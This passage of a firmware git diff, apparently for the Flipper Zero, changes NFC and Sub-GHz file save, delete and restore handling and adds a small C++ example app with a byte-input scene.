MUSIC_PLAYER_APP_PATH_FOLDER, MUSIC_PLAYER_APP_EXTENSION, - true, - &I_music_10px, - false); - + file_name, + 255, + NULL); furi_record_close("dialogs"); if(!res) { FURI_LOG_E(TAG, "No file selected"); break; } + string_cat_str(file_path, MUSIC_PLAYER_APP_PATH_FOLDER); + string_cat_str(file_path, "/"); + string_cat_str(file_path, file_name); } if(!music_player_worker_load(music_player->worker, string_get_cstr(file_path))) { diff --git a/applications/nfc/nfc_device.c b/applications/nfc/nfc_device.c index ca3fc45aa..63f0c3ccb 100644 --- a/applications/nfc/nfc_device.c +++ b/applications/nfc/nfc_device.c @@ -1,6 +1,4 @@ #include "nfc_device.h" -#include "assets_icons.h" -#include "m-string.h" #include "nfc_types.h" #include @@ -16,7 +14,6 @@ NfcDevice* nfc_device_alloc() { NfcDevice* nfc_dev = malloc(sizeof(NfcDevice)); nfc_dev->storage = furi_record_open("storage"); nfc_dev->dialogs = furi_record_open("dialogs"); - string_init(nfc_dev->load_path); return nfc_dev; } @@ -25,7 +22,6 @@ void nfc_device_free(NfcDevice* nfc_dev) { nfc_device_clear(nfc_dev); furi_record_close("storage"); furi_record_close("dialogs"); - string_clear(nfc_dev->load_path); free(nfc_dev); } @@ -734,24 +730,11 @@ void nfc_device_set_name(NfcDevice* dev, const char* name) { strlcpy(dev->dev_name, name, NFC_DEV_NAME_MAX_LEN); } -static void nfc_device_get_path_without_ext(string_t orig_path, string_t shadow_path) { - // TODO: this won't work if there is ".nfc" anywhere in the path other than - // at the end - size_t ext_start = string_search_str(orig_path, NFC_APP_EXTENSION); - string_set_n(shadow_path, orig_path, 0, ext_start); -} - -static void nfc_device_get_shadow_path(string_t orig_path, string_t shadow_path) { - nfc_device_get_path_without_ext(orig_path, shadow_path); - string_cat_printf(shadow_path, "%s", NFC_APP_SHADOW_EXTENSION); -} - static bool nfc_device_save_file( NfcDevice* dev, const char* dev_name, const char* folder, - const char* extension, - bool use_load_path) { + const char* extension) { furi_assert(dev); bool saved = false; @@ -761,19 +744,10 @@ static bool nfc_device_save_file( string_init(temp_str); do { - if(use_load_path && !string_empty_p(dev->load_path)) { - // Get directory name - path_extract_dirname(string_get_cstr(dev->load_path), temp_str); - // Create nfc directory if necessary - if(!storage_simply_mkdir(dev->storage, string_get_cstr(temp_str))) break; - // Make path to file to save - string_cat_printf(temp_str, "/%s%s", dev_name, extension); - } else { - // Create nfc directory if necessary - if(!storage_simply_mkdir(dev->storage, NFC_APP_FOLDER)) break; - // First remove nfc device file if it was saved - string_printf(temp_str, "%s/%s%s", folder, dev_name, extension); - } + // Create nfc directory if necessary + if(!storage_simply_mkdir(dev->storage, NFC_APP_FOLDER)) break; + // First remove nfc device file if it was saved + string_printf(temp_str, "%s/%s%s", folder, dev_name, extension); // Open file if(!flipper_format_file_open_always(file, string_get_cstr(temp_str))) break; // Write header @@ -812,12 +786,12 @@ static bool nfc_device_save_file( } bool nfc_device_save(NfcDevice* dev, const char* dev_name) { - return nfc_device_save_file(dev, dev_name, NFC_APP_FOLDER, NFC_APP_EXTENSION, true); + return nfc_device_save_file(dev, dev_name, NFC_APP_FOLDER, NFC_APP_EXTENSION); } bool nfc_device_save_shadow(NfcDevice* dev, const char* dev_name) { dev->shadow_file_exist = true; - return nfc_device_save_file(dev, dev_name, NFC_APP_FOLDER, NFC_APP_SHADOW_EXTENSION, true); + return nfc_device_save_file(dev, dev_name, NFC_APP_FOLDER, NFC_APP_SHADOW_EXTENSION); } static bool nfc_device_load_data(NfcDevice* dev, string_t path) { @@ -831,7 +805,9 @@ static bool nfc_device_load_data(NfcDevice* dev, string_t path) { do { // Check existance of shadow file - nfc_device_get_shadow_path(path, temp_str); + size_t ext_start = string_search_str(path, NFC_APP_EXTENSION); + string_set_n(temp_str, path, 0, ext_start); + string_cat_printf(temp_str, "%s", NFC_APP_SHADOW_EXTENSION); dev->shadow_file_exist = storage_common_stat(dev->storage, string_get_cstr(temp_str), NULL) == FSE_OK; // Open shadow file if it exists. If not - open original @@ -888,16 +864,15 @@ bool nfc_device_load(NfcDevice* dev, const char* file_path) { furi_assert(file_path); // Load device data - string_set_str(dev->load_path, file_path); - bool dev_load = nfc_device_load_data(dev, dev->load_path); + string_t path; + string_init_set_str(path, file_path); + bool dev_load = nfc_device_load_data(dev, path); if(dev_load) { // Set device name - string_t filename; - string_init(filename); - path_extract_filename_no_ext(file_path, filename); - nfc_device_set_name(dev, string_get_cstr(filename)); - string_clear(filename); + path_extract_filename_no_ext(file_path, path); + nfc_device_set_name(dev, string_get_cstr(path)); } + string_clear(path); return dev_load; } @@ -905,19 +880,23 @@ bool nfc_device_load(NfcDevice* dev, const char* file_path) { bool nfc_file_select(NfcDevice* dev) { furi_assert(dev); - // Input events and views are managed by file_browser - bool res = dialog_file_browser_show( - dev->dialogs, dev->load_path, dev->load_path, NFC_APP_EXTENSION, true, &I_Nfc_10px, true); + // Input events and views are managed by file_select + bool res = dialog_file_select_show( + dev->dialogs, + NFC_APP_FOLDER, + NFC_APP_EXTENSION, + dev->file_name, + sizeof(dev->file_name), + dev->dev_name); if(res) { - string_t filename; - string_init(filename); - path_extract_filename(dev->load_path, filename, true); - strncpy(dev->dev_name, string_get_cstr(filename), NFC_DEV_NAME_MAX_LEN); - res = nfc_device_load_data(dev, dev->load_path); + string_t dev_str; + // Get key file path + string_init_printf(dev_str, "%s/%s%s", NFC_APP_FOLDER, dev->file_name, NFC_APP_EXTENSION); + res = nfc_device_load_data(dev, dev_str); if(res) { - nfc_device_set_name(dev, dev->dev_name); + nfc_device_set_name(dev, dev->file_name); } - string_clear(filename); + string_clear(dev_str); } return res; @@ -935,10 +914,9 @@ void nfc_device_clear(NfcDevice* dev) { nfc_device_data_clear(&dev->dev_data); memset(&dev->dev_data, 0, sizeof(dev->dev_data)); dev->format = NfcDeviceSaveFormatUid; - string_set_str(dev->load_path, NFC_APP_FOLDER); } -bool nfc_device_delete(NfcDevice* dev, bool use_load_path) { +bool nfc_device_delete(NfcDevice* dev) { furi_assert(dev); bool deleted = false; @@ -947,20 +925,12 @@ bool nfc_device_delete(NfcDevice* dev, bool use_load_path) { do { // Delete original file - if(use_load_path && !string_empty_p(dev->load_path)) { - string_set(file_path, dev->load_path); - } else { - string_printf(file_path, "%s/%s%s", NFC_APP_FOLDER, dev->dev_name, NFC_APP_EXTENSION); - } + string_init_printf(file_path, "%s/%s%s", NFC_APP_FOLDER, dev->dev_name, NFC_APP_EXTENSION); if(!storage_simply_remove(dev->storage, string_get_cstr(file_path))) break; // Delete shadow file if it exists if(dev->shadow_file_exist) { - if(use_load_path && !string_empty_p(dev->load_path)) { - nfc_device_get_shadow_path(dev->load_path, file_path); - } else { - string_printf( - file_path, "%s/%s%s", NFC_APP_FOLDER, dev->dev_name, NFC_APP_SHADOW_EXTENSION); - } + string_printf( + file_path, "%s/%s%s", NFC_APP_FOLDER, dev->dev_name, NFC_APP_SHADOW_EXTENSION); if(!storage_simply_remove(dev->storage, string_get_cstr(file_path))) break; } deleted = true; @@ -974,29 +944,19 @@ bool nfc_device_delete(NfcDevice* dev, bool use_load_path) { return deleted; } -bool nfc_device_restore(NfcDevice* dev, bool use_load_path) { +bool nfc_device_restore(NfcDevice* dev) { furi_assert(dev); furi_assert(dev->shadow_file_exist); bool restored = false; string_t path; - string_init(path); - do { - if(use_load_path && !string_empty_p(dev->load_path)) { - nfc_device_get_shadow_path(dev->load_path, path); - } else { - string_printf( - path, "%s/%s%s", NFC_APP_FOLDER, dev->dev_name, NFC_APP_SHADOW_EXTENSION); - } + string_init_printf( + path, "%s/%s%s", NFC_APP_FOLDER, dev->dev_name, NFC_APP_SHADOW_EXTENSION); if(!storage_simply_remove(dev->storage, string_get_cstr(path))) break; dev->shadow_file_exist = false; - if(use_load_path && !string_empty_p(dev->load_path)) { - string_set(path, dev->load_path); - } else { - string_printf(path, "%s/%s%s", NFC_APP_FOLDER, dev->dev_name, NFC_APP_EXTENSION); - } + string_printf(path, "%s/%s%s", NFC_APP_FOLDER, dev->dev_name, NFC_APP_EXTENSION); if(!nfc_device_load_data(dev, path)) break; restored = true; } while(0); diff --git a/applications/nfc/nfc_device.h b/applications/nfc/nfc_device.h index 400f6c363..215f637fa 100644 --- a/applications/nfc/nfc_device.h +++ b/applications/nfc/nfc_device.h @@ -12,6 +12,7 @@ #include #define NFC_DEV_NAME_MAX_LEN 22 +#define NFC_FILE_NAME_MAX_LEN 120 #define NFC_READER_DATA_MAX_SIZE 64 #define NFC_APP_FOLDER "/any/nfc" @@ -56,7 +57,7 @@ typedef struct { DialogsApp* dialogs; NfcDeviceData dev_data; char dev_name[NFC_DEV_NAME_MAX_LEN + 1]; - string_t load_path; + char file_name[NFC_FILE_NAME_MAX_LEN]; NfcDeviceSaveFormat format; bool shadow_file_exist; } NfcDevice; @@ -79,6 +80,6 @@ void nfc_device_data_clear(NfcDeviceData* dev); void nfc_device_clear(NfcDevice* dev); -bool nfc_device_delete(NfcDevice* dev, bool use_load_path); +bool nfc_device_delete(NfcDevice* dev); -bool nfc_device_restore(NfcDevice* dev, bool use_load_path); +bool nfc_device_restore(NfcDevice* dev); diff --git a/applications/nfc/scenes/nfc_scene_delete.c b/applications/nfc/scenes/nfc_scene_delete.c index 1946b9290..e8ba3e440 100755 --- a/applications/nfc/scenes/nfc_scene_delete.c +++ b/applications/nfc/scenes/nfc_scene_delete.c @@ -73,7 +73,7 @@ bool nfc_scene_delete_on_event(void* context, SceneManagerEvent event) { if(event.event == GuiButtonTypeLeft) { return scene_manager_previous_scene(nfc->scene_manager); } else if(event.event == GuiButtonTypeRight) { - if(nfc_device_delete(nfc->dev, true)) { + if(nfc_device_delete(nfc->dev)) { scene_manager_next_scene(nfc->scene_manager, NfcSceneDeleteSuccess); } else { scene_manager_search_and_switch_to_previous_scene( diff --git a/applications/nfc/scenes/nfc_scene_save_name.c b/applications/nfc/scenes/nfc_scene_save_name.c index d5e05472a..e95c97eb4 100755 --- a/applications/nfc/scenes/nfc_scene_save_name.c +++ b/applications/nfc/scenes/nfc_scene_save_name.c @@ -1,8 +1,6 @@ #include "../nfc_i.h" -#include "m-string.h" #include #include -#include void nfc_scene_save_name_text_input_callback(void* context) { Nfc* nfc = context; @@ -31,22 +29,11 @@ void nfc_scene_save_name_on_enter(void* context) { NFC_DEV_NAME_MAX_LEN, dev_name_empty); - string_t folder_path; - string_init(folder_path); - - if(string_end_with_str_p(nfc->dev->load_path, NFC_APP_EXTENSION)) { - path_extract_dirname(string_get_cstr(nfc->dev->load_path), folder_path); - } else { - string_set_str(folder_path, NFC_APP_FOLDER); - } - - ValidatorIsFile* validator_is_file = validator_is_file_alloc_init( - string_get_cstr(folder_path), NFC_APP_EXTENSION, nfc->dev->dev_name); + ValidatorIsFile* validator_is_file = + validator_is_file_alloc_init(NFC_APP_FOLDER, NFC_APP_EXTENSION, nfc->dev->dev_name); text_input_set_validator(text_input, validator_is_file_callback, validator_is_file); view_dispatcher_switch_to_view(nfc->view_dispatcher, NfcViewTextInput); - - string_clear(folder_path); } bool nfc_scene_save_name_on_event(void* context, SceneManagerEvent event) { @@ -56,7 +43,7 @@ bool nfc_scene_save_name_on_event(void* context, SceneManagerEvent event) { if(event.type == SceneManagerEventTypeCustom) { if(event.event == NfcCustomEventTextInputDone) { if(strcmp(nfc->dev->dev_name, "")) { - nfc_device_delete(nfc->dev, true); + nfc_device_delete(nfc->dev); } if(scene_manager_has_previous_scene(nfc->scene_manager, NfcSceneSetUid)) { nfc->dev->dev_data.nfc_data = nfc->dev_edit_data; diff --git a/applications/nfc/scenes/nfc_scene_save_success.c b/applications/nfc/scenes/nfc_scene_save_success.c index 5c15a509a..985897a6d 100644 --- a/applications/nfc/scenes/nfc_scene_save_success.c +++ b/applications/nfc/scenes/nfc_scene_save_success.c @@ -30,6 +30,9 @@ bool nfc_scene_save_success_on_event(void* context, SceneManagerEvent event) { if(scene_manager_has_previous_scene(nfc->scene_manager, NfcSceneCardMenu)) { consumed = scene_manager_search_and_switch_to_previous_scene( nfc->scene_manager, NfcSceneCardMenu); + } else if(scene_manager_has_previous_scene(nfc->scene_manager, NfcSceneSetType)) { + consumed = scene_manager_search_and_switch_to_another_scene( + nfc->scene_manager, NfcSceneFileSelect); } else if(scene_manager_has_previous_scene( nfc->scene_manager, NfcSceneMifareDesfireMenu)) { consumed = scene_manager_search_and_switch_to_previous_scene( diff --git a/applications/nfc/scenes/nfc_scene_saved_menu.c b/applications/nfc/scenes/nfc_scene_saved_menu.c index f2b2dea37..1b435ccd1 100644 --- a/applications/nfc/scenes/nfc_scene_saved_menu.c +++ b/applications/nfc/scenes/nfc_scene_saved_menu.c @@ -78,7 +78,7 @@ bool nfc_scene_saved_menu_on_event(void* context, SceneManagerEvent event) { scene_manager_next_scene(nfc->scene_manager, NfcSceneDeviceInfo); consumed = true; } else if(event.event == SubmenuIndexRestoreOriginal) { - if(!nfc_device_restore(nfc->dev, true)) { + if(!nfc_device_restore(nfc->dev)) { scene_manager_search_and_switch_to_previous_scene( nfc->scene_manager, NfcSceneStart); } else { diff --git a/applications/nfc/scenes/nfc_scene_set_type.c b/applications/nfc/scenes/nfc_scene_set_type.c index 0fe63424f..0dbb4f7ea 100755 --- a/applications/nfc/scenes/nfc_scene_set_type.c +++ b/applications/nfc/scenes/nfc_scene_set_type.c @@ -1,5 +1,4 @@ #include "../nfc_i.h" -#include "m-string.h" enum SubmenuIndex { SubmenuIndexNFCA4, @@ -17,7 +16,6 @@ void nfc_scene_set_type_on_enter(void* context) { Submenu* submenu = nfc->submenu; // Clear device name nfc_device_set_name(nfc->dev, ""); - string_set_str(nfc->dev->load_path, ""); submenu_add_item( submenu, "NFC-A 7-bytes UID", SubmenuIndexNFCA7, nfc_scene_set_type_submenu_callback, nfc); submenu_add_item( diff --git a/applications/scened_app_example/scene/scened_app_scene_byte_input.cpp b/applications/scened_app_example/scene/scened_app_scene_byte_input.cpp new file mode 100644 index 000000000..200252ad6 --- /dev/null +++ b/applications/scened_app_example/scene/scened_app_scene_byte_input.cpp @@ -0,0 +1,35 @@ +#include "scened_app_scene_byte_input.h" + +void ScenedAppSceneByteInput::on_enter(ScenedApp* app, bool /* need_restore */) { + ByteInputVM* byte_input = app->view_controller; + auto callback = cbc::obtain_connector(this, &ScenedAppSceneByteInput::result_callback); + + byte_input->set_result_callback(callback, NULL, app, data, 4); + byte_input->set_header_text("Enter the key"); + + app->view_controller.switch_to(); +} + +bool ScenedAppSceneByteInput::on_event(ScenedApp* app, ScenedApp::Event* event) { + bool consumed = false; + + if(event->type == ScenedApp::EventType::ByteEditResult) { + app->scene_controller.switch_to_previous_scene(); + consumed = true; + } + + return consumed; +} + +void ScenedAppSceneByteInput::on_exit(ScenedApp* app) { + app->view_controller.get()->clean(); +} + +void ScenedAppSceneByteInput::result_callback(void* context) { + ScenedApp* app = static_cast(context); + ScenedApp::Event event; + + event.type = ScenedApp::EventType::ByteEditResult; + + app->view_controller.send_event(&event); +} diff --git a/applications/scened_app_example/scene/scened_app_scene_byte_input.h b/applications/scened_app_example/scene/scened_app_scene_byte_input.h new file mode 100644 index 000000000..0f0b02acb --- /dev/null +++ b/applications/scened_app_example/scene/scened_app_scene_byte_input.h @@ -0,0 +1,19 @@ +#pragma once +#include "../scened_app.h" + +class ScenedAppSceneByteInput : public GenericScene { +public: + void on_enter(ScenedApp* app, bool need_restore) final; + bool on_event(ScenedApp* app, ScenedApp::Event* event) final; + void on_exit(ScenedApp* app) final; + +private: + void result_callback(void* context); + + uint8_t data[4] = { + 0x01, + 0xA2, + 0xF4, + 0xD3, + }; +}; diff --git a/applications/scened_app_example/scene/scened_app_scene_start.cpp b/applications/scened_app_example/scene/scened_app_scene_start.cpp new file mode 100644 index 000000000..5538962ba --- /dev/null +++ b/applications/scened_app_example/scene/scened_app_scene_start.cpp @@ -0,0 +1,47 @@ +#include "scened_app_scene_start.h" + +typedef enum { + SubmenuByteInput, +} SubmenuIndex; + +void ScenedAppSceneStart::on_enter(ScenedApp* app, bool need_restore) { + auto submenu = app->view_controller.get(); + auto callback = cbc::obtain_connector(this, &ScenedAppSceneStart::submenu_callback); + + submenu->add_item("Byte Input", SubmenuByteInput, callback, app); + + if(need_restore) { + submenu->set_selected_item(submenu_item_selected); + } + app->view_controller.switch_to(); +} + +bool ScenedAppSceneStart::on_event(ScenedApp* app, ScenedApp::Event* event) { + bool consumed = false; + + if(event->type == ScenedApp::EventType::MenuSelected) { + submenu_item_selected = event->payload.menu_index; + switch(event->payload.menu_index) { + case SubmenuByteInput: + app->scene_controller.switch_to_next_scene(ScenedApp::SceneType::ByteInputScene); + break; + } + consumed = true; + } + + return consumed; +} + +void ScenedAppSceneStart::on_exit(ScenedApp* app) { + app->view_controller.get()->clean(); +} + +void ScenedAppSceneStart::submenu_callback(void* context, uint32_t index) { + ScenedApp* app = static_cast(context); + ScenedApp::Event event; + + event.type = ScenedApp::EventType::MenuSelected; + event.payload.menu_index = index; + + app->view_controller.send_event(&event); +} diff --git a/applications/scened_app_example/scene/scened_app_scene_start.h b/applications/scened_app_example/scene/scened_app_scene_start.h new file mode 100644 index 000000000..8324a20fd --- /dev/null +++ b/applications/scened_app_example/scene/scened_app_scene_start.h @@ -0,0 +1,13 @@ +#pragma once +#include "../scened_app.h" + +class ScenedAppSceneStart : public GenericScene { +public: + void on_enter(ScenedApp* app, bool need_restore) final; + bool on_event(ScenedApp* app, ScenedApp::Event* event) final; + void on_exit(ScenedApp* app) final; + +private: + void submenu_callback(void* context, uint32_t index); + uint32_t submenu_item_selected = 0; +}; diff --git a/applications/scened_app_example/scened_app.cpp b/applications/scened_app_example/scened_app.cpp new file mode 100644 index 000000000..64040b22d --- /dev/null +++ b/applications/scened_app_example/scened_app.cpp @@ -0,0 +1,20 @@ +#include "scened_app.h" +#include "scene/scened_app_scene_start.h" +#include "scene/scened_app_scene_byte_input.h" + +ScenedApp::ScenedApp() + : scene_controller{this} + , text_store{128} + , notification{"notification"} { +} + +ScenedApp::~ScenedApp() { +} + +void ScenedApp::run() { + scene_controller.add_scene(SceneType::Start, new ScenedAppSceneStart()); + scene_controller.add_scene(SceneType::ByteInputScene, new ScenedAppSceneByteInput()); + + notification_message(notification, &sequence_blink_green_10); + scene_controller.process(100); +} diff --git a/applications/scened_app_example/scened_app.h b/applications/scened_app_example/scened_app.h new file mode 100644 index 000000000..c6cecb477 --- /dev/null +++ b/applications/scened_app_example/scened_app.h @@ -0,0 +1,47 @@ +#pragma once +#include +#include + +#include +#include +#include +#include +#include + +#include +#include + +#include + +class ScenedApp { +public: + enum class EventType : uint8_t { + GENERIC_EVENT_ENUM_VALUES, + MenuSelected, + ByteEditResult, + }; + + enum class SceneType : uint8_t { + GENERIC_SCENE_ENUM_VALUES, + ByteInputScene, + }; + + class Event { + public: + union { + int32_t menu_index; + } payload; + + EventType type; + }; + + SceneController, ScenedApp> scene_controller; + TextStore text_store; + ViewController view_controller; + RecordController notification; + + ~ScenedApp(); + ScenedApp(); + + void run(); +}; diff --git a/applications/scened_app_example/scened_app_launcher.cpp b/applications/scened_app_example/scened_app_launcher.cpp new file mode 100644 index 000000000..3d0bdfcaf --- /dev/null +++ b/applications/scened_app_example/scened_app_launcher.cpp @@ -0,0 +1,11 @@ +#include "scened_app.h" + +// app enter function +extern "C" int32_t scened_app(void* p) { + UNUSED(p); + ScenedApp* app = new ScenedApp(); + app->run(); + delete app; + + return 0; +} diff --git a/applications/subghz/scenes/subghz_scene_delete.c b/applications/subghz/scenes/subghz_scene_delete.c index 43151de20..83d6d4751 100644 --- a/applications/subghz/scenes/subghz_scene_delete.c +++ b/applications/subghz/scenes/subghz_scene_delete.c @@ -49,7 +49,7 @@ bool subghz_scene_delete_on_event(void* context, SceneManagerEvent event) { SubGhz* subghz = context; if(event.type == SceneManagerEventTypeCustom) { if(event.event == SubGhzCustomEventSceneDelete) { - string_set(subghz->file_path_tmp, subghz->file_path); + strncpy(subghz->file_path_tmp, subghz->file_path, SUBGHZ_MAX_LEN_NAME); if(subghz_delete_file(subghz)) { scene_manager_next_scene(subghz->scene_manager, SubGhzSceneDeleteSuccess); } else { diff --git a/applications/subghz/scenes/subghz_scene_delete_raw.c b/applications/subghz/scenes/subghz_scene_delete_raw.c index a20968d5b..03f0eb81b 100644 --- a/applications/subghz/scenes/subghz_scene_delete_raw.c +++ b/applications/subghz/scenes/subghz_scene_delete_raw.c @@ -24,7 +24,7 @@ void subghz_scene_delete_raw_on_enter(void* context) { char delete_str[SUBGHZ_MAX_LEN_NAME + 16]; string_t file_name; string_init(file_name); - path_extract_filename(subghz->file_path, file_name, true); + path_extract_filename_no_ext(subghz->file_path, file_name); snprintf(delete_str, sizeof(delete_str), "\e#Delete %s?\e#", string_get_cstr(file_name)); string_clear(file_name); @@ -61,7 +61,7 @@ bool subghz_scene_delete_raw_on_event(void* context, SceneManagerEvent event) { SubGhz* subghz = context; if(event.type == SceneManagerEventTypeCustom) { if(event.event == SubGhzCustomEventSceneDeleteRAW) { - string_set(subghz->file_path_tmp, subghz->file_path); + strncpy(subghz->file_path_tmp, subghz->file_path, SUBGHZ_MAX_LEN_NAME); if(subghz_delete_file(subghz)) { scene_manager_next_scene(subghz->scene_manager, SubGhzSceneDeleteSuccess); } else { diff --git a/applications/subghz/scenes/subghz_scene_more_raw.c b/applications/subghz/scenes/subghz_scene_more_raw.c index a5bade927..54bd08158 100644 --- a/applications/subghz/scenes/subghz_scene_more_raw.c +++ b/applications/subghz/scenes/subghz_scene_more_raw.c @@ -45,7 +45,7 @@ bool subghz_scene_more_raw_on_event(void* context, SceneManagerEvent event) { scene_manager_next_scene(subghz->scene_manager, SubGhzSceneDeleteRAW); return true; } else if(event.event == SubmenuIndexEdit) { - string_reset(subghz->file_path_tmp); + memset(subghz->file_path_tmp, 0, sizeof(subghz->file_path_tmp)); scene_manager_set_scene_state( subghz->scene_manager, SubGhzSceneMoreRAW, SubmenuIndexEdit); scene_manager_next_scene(subghz->scene_manager, SubGhzSceneSaveName); diff --git a/applications/subghz/scenes/subghz_scene_read_raw.c b/applications/subghz/scenes/subghz_scene_read_raw.c index 628a5f1f0..5323bfe58 100644 --- a/applications/subghz/scenes/subghz_scene_read_raw.c +++ b/applications/subghz/scenes/subghz_scene_read_raw.c @@ -25,7 +25,7 @@ bool subghz_scene_read_raw_update_filename(SubGhz* subghz) { break; } - string_set(subghz->file_path, temp_str); + strncpy(subghz->file_path, string_get_cstr(temp_str), SUBGHZ_MAX_LEN_NAME); ret = true; } while(false); @@ -75,13 +75,13 @@ void subghz_scene_read_raw_on_enter(void* context) { subghz_read_raw_set_status(subghz->subghz_read_raw, SubGhzReadRAWStatusIDLE, ""); break; case SubGhzRxKeyStateRAWLoad: - path_extract_filename(subghz->file_path, file_name, true); + path_extract_filename_no_ext(subghz->file_path, file_name); subghz_read_raw_set_status( subghz->subghz_read_raw, SubGhzReadRAWStatusLoadKeyTX, string_get_cstr(file_name)); subghz->txrx->rx_key_state = SubGhzRxKeyStateIDLE; break; case SubGhzRxKeyStateRAWSave: - path_extract_filename(subghz->file_path, file_name, true); + path_extract_filename_no_ext(subghz->file_path, file_name); subghz_read_raw_set_status( subghz->subghz_read_raw, SubGhzReadRAWStatusSaveKey, string_get_cstr(file_name)); subghz->txrx->rx_key_state = SubGhzRxKeyStateIDLE; @@ -296,7 +296,7 @@ bool subghz_scene_read_raw_on_event(void* context, SceneManagerEvent event) { subghz->state_notifications = SubGhzNotificationStateRx; subghz->txrx->rx_key_state = SubGhzRxKeyStateAddKey; } else { - string_set_str(subghz->error_str, "Function requires\nan SD card."); + string_set(subghz->error_str, "Function requires\nan SD card."); scene_manager_next_scene(subghz->scene_manager, SubGhzSceneShowError); } } diff --git a/applications/subghz/scenes/subghz_scene_save_name.c b/applications/subghz/scenes/subghz_scene_save_name.c index 95fc19388..617709cc7 100644 --- a/applications/subghz/scenes/subghz_scene_save_name.c +++ b/applications/subghz/scenes/subghz_scene_save_name.c @@ -1,6 +1,4 @@ #include "../subghz_i.h" -#include "m-string.h" -#include "subghz/types.h" #include #include "../helpers/subghz_custom_event.h" #include @@ -22,49 +20,45 @@ void subghz_scene_save_name_on_enter(void* context) { bool dev_name_empty = false; string_t file_name; - string_t dir_name; string_init(file_name); - string_init(dir_name); - if(!subghz_path_is_file(subghz->file_path)) { + if(!strcmp(subghz->file_path, "")) { char file_name_buf[SUBGHZ_MAX_LEN_NAME] = {0}; set_random_name(file_name_buf, SUBGHZ_MAX_LEN_NAME); - string_set_str(file_name, file_name_buf); - string_set_str(subghz->file_path, SUBGHZ_APP_FOLDER); + string_set(file_name, file_name_buf); + strncpy(subghz->file_dir, SUBGHZ_APP_FOLDER, SUBGHZ_MAX_LEN_NAME); //highlighting the entire filename by default dev_name_empty = true; } else { - string_set(subghz->file_path_tmp, subghz->file_path); - path_extract_dirname(string_get_cstr(subghz->file_path), dir_name); - path_extract_filename(subghz->file_path, file_name, true); + strncpy(subghz->file_path_tmp, subghz->file_path, SUBGHZ_MAX_LEN_NAME); + path_extract_dirname(subghz->file_path, file_name); + strncpy(subghz->file_dir, string_get_cstr(file_name), SUBGHZ_MAX_LEN_NAME); + path_extract_filename_no_ext(subghz->file_path, file_name); if(scene_manager_get_scene_state(subghz->scene_manager, SubGhzSceneReadRAW) != SubGhzCustomEventManagerNoSet) { subghz_get_next_name_file(subghz, SUBGHZ_MAX_LEN_NAME); - path_extract_filename(subghz->file_path, file_name, true); + path_extract_filename_no_ext(subghz->file_path, file_name); if(scene_manager_get_scene_state(subghz->scene_manager, SubGhzSceneReadRAW) == SubGhzCustomEventManagerSetRAW) { dev_name_empty = true; } } - string_set(subghz->file_path, dir_name); } - - strncpy(subghz->file_name_tmp, string_get_cstr(file_name), SUBGHZ_MAX_LEN_NAME); + strncpy(subghz->file_path, string_get_cstr(file_name), SUBGHZ_MAX_LEN_NAME); text_input_set_header_text(text_input, "Name signal"); text_input_set_result_callback( text_input, subghz_scene_save_name_text_input_callback, subghz, - subghz->file_name_tmp, + subghz->file_path, MAX_TEXT_INPUT_LEN, // buffer size dev_name_empty); - ValidatorIsFile* validator_is_file = validator_is_file_alloc_init( - string_get_cstr(subghz->file_path), SUBGHZ_APP_EXTENSION, NULL); + ValidatorIsFile* validator_is_file = + validator_is_file_alloc_init(subghz->file_dir, SUBGHZ_APP_EXTENSION, NULL); text_input_set_validator(text_input, validator_is_file_callback, validator_is_file); string_clear(file_name); - string_clear(dir_name); view_dispatcher_switch_to_view(subghz->view_dispatcher, SubGhzViewIdTextInput); } @@ -72,15 +66,18 @@ void subghz_scene_save_name_on_enter(void* context) { bool subghz_scene_save_name_on_event(void* context, SceneManagerEvent event) { SubGhz* subghz = context; if(event.type == SceneManagerEventTypeBack) { - string_set(subghz->file_path, subghz->file_path_tmp); + strncpy(subghz->file_path, subghz->file_path_tmp, SUBGHZ_MAX_LEN_NAME); scene_manager_previous_scene(subghz->scene_manager); return true; } else if(event.type == SceneManagerEventTypeCustom) { if(event.event == SubGhzCustomEventSceneSaveName) { - if(strcmp(subghz->file_name_tmp, "")) { - string_cat_printf( - subghz->file_path, "/%s%s", subghz->file_name_tmp, SUBGHZ_APP_EXTENSION); - if(subghz_path_is_file(subghz->file_path_tmp)) { + if(strcmp(subghz->file_path, "")) { + string_t temp_str; + string_init_printf( + temp_str, "%s/%s%s", subghz->file_dir, subghz->file_path, SUBGHZ_APP_EXTENSION); + strncpy(subghz->file_path, string_get_cstr(temp_str), SUBGHZ_MAX_LEN_NAME); + string_clear(temp_str); + if(strcmp(subghz->file_path_tmp, "")) { if(!subghz_rename_file(subghz)) { return false; } @@ -88,7 +85,7 @@ bool subghz_scene_save_name_on_event(void* context, SceneManagerEvent event) { if(scene_manager_get_scene_state(subghz->scene_manager, SubGhzSceneSetType) != SubGhzCustomEventManagerNoSet) { subghz_save_protocol_to_file( - subghz, subghz->txrx->fff_data, string_get_cstr(subghz->file_path)); + subghz, subghz->txrx->fff_data, subghz->file_path); scene_manager_set_scene_state( subghz->scene_manager, SubGhzSceneSetType, @@ -98,14 +95,13 @@ bool subghz_scene_save_name_on_event(void* context, SceneManagerEvent event) { subghz, subghz_history_get_raw_data( subghz->txrx->history, subghz->txrx->idx_menu_chosen), - string_get_cstr(subghz->file_path)); + subghz->file_path); } } if(scene_manager_get_scene_state(subghz->scene_manager, SubGhzSceneReadRAW) != SubGhzCustomEventManagerNoSet) { - subghz_protocol_raw_gen_fff_data( - subghz->txrx->fff_data, string_get_cstr(subghz->file_path)); + subghz_protocol_raw_gen_fff_data(subghz->txrx->fff_data, subghz->file_path); scene_manager_set_scene_state( subghz->scene_manager, SubGhzSceneReadRAW, SubGhzCustomEventManagerNoSet); } else { @@ -115,7 +111,7 @@ bool subghz_scene_save_name_on_event(void* context, SceneManagerEvent event) { scene_manager_next_scene(subghz->scene_manager, SubGhzSceneSaveSuccess); return true; } else { - string_set_str(subghz->error_str, "No name file"); + string_set(subghz->error_str, "No name file"); scene_manager_next_scene(subghz->scene_manager, SubGhzSceneShowErrorSub); return true; } diff --git a/applications/subghz/scenes/subghz_scene_transmitter.c b/applications/subghz/scenes/subghz_scene_transmitter.c index b8b22749c..38ab84994 100644 --- a/applications/subghz/scenes/subghz_scene_transmitter.c +++ b/applications/subghz/scenes/subghz_scene_transmitter.c @@ -94,7 +94,7 @@ bool subghz_scene_transmitter_on_event(void* context, SceneManagerEvent event) { subghz->scene_manager, SubGhzSceneStart); return true; } else if(event.event == SubGhzCustomEventViewTransmitterError) { - string_set_str(subghz->error_str, "Protocol not found"); + string_set(subghz->error_str, "Protocol not found"); scene_manager_next_scene(subghz->scene_manager, SubGhzSceneShowErrorSub); } } else if(event.type == 